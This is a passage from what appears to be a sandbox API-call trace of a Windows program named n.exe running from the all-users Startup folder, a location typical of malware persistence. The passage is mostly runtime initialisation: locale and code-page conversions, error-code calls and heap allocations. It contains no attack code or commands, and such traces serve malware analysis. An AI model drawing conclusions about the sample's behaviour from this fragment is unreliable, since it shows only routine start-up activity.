\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ") returned 256 [0158.528] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0158.528] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0158.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9a\x02¦8\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0158.528] GetLastError () returned 0x0 [0158.528] SetLastError (dwErrCode=0x0) [0158.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0158.529] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ") returned 256 [0158.529] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0158.529] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ䘂㟚魴DĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0158.529] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9a\x02¦8\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0158.529] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4eb448, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x42 [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.529] SetLastError (dwErrCode=0x0) [0158.529] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.530] SetLastError (dwErrCode=0x0) [0158.530] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.531] SetLastError (dwErrCode=0x0) [0158.531] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.532] GetLastError () returned 0x0 [0158.532] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.533] SetLastError (dwErrCode=0x0) [0158.533] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x0, Size=0x52) returned 0x2221990 [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.534] GetLastError () returned 0x0 [0158.534] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.535] SetLastError (dwErrCode=0x0) [0158.535] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.536] GetLastError () returned 0x0 [0158.536] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.537] SetLastError (dwErrCode=0x0) [0158.537] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.538] SetLastError (dwErrCode=0x0) [0158.538] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.539] SetLastError (dwErrCode=0x0) [0158.539] GetLastError () returned 0x0 [0158.540] SetLastError (dwErrCode=0x0) [0158.540] GetLastError () returned 0x0 [0158.540] SetLastError (dwErrCode=0x0) [0158.540] GetLastError () returned 0x0 [0158.540] SetLastError (dwErrCode=0x0) [0158.540] GetLastError () returned 0x0 [0158.540] SetLastError (dwErrCode=0x0) [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x98) returned 0x22219f0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1f) returned 0x2221a90 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x36) returned 0x2221ab8 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x37) returned 0x2221af8 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x3c) returned 0x2221b38 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x31) returned 0x2221b80 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x17) returned 0x2221bc0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x24) returned 0x2221be0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x14) returned 0x2221c10 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xd) returned 0x2221c30 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x25) returned 0x2221c48 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x39) returned 0x2221c78 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x18) returned 0x2221cc0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x17) returned 0x2221ce0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xe) returned 0x2221d00 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x69) returned 0x2221d18 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x3e) returned 0x2221d90 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1b) returned 0x2221dd8 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1d) returned 0x2221e00 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x48) returned 0x2221e28 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x12) returned 0x2221e78 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x18) returned 0x2221e98 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1b) returned 0x2221eb8 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x24) returned 0x2221ee0 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x29) returned 0x2221f10 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x1e) returned 0x2221f48 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x41) returned 0x2221f70 [0158.540] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x17) returned 0x2221fc0 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0xf) returned 0x2221fe8 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x16) returned 0x2222000 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x2a) returned 0x2222020 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, Size=0x29) returned 0x2222058 [0158.541] RtlAllocateHeap (HeapHandle=0x2220000, Flags=0x8, 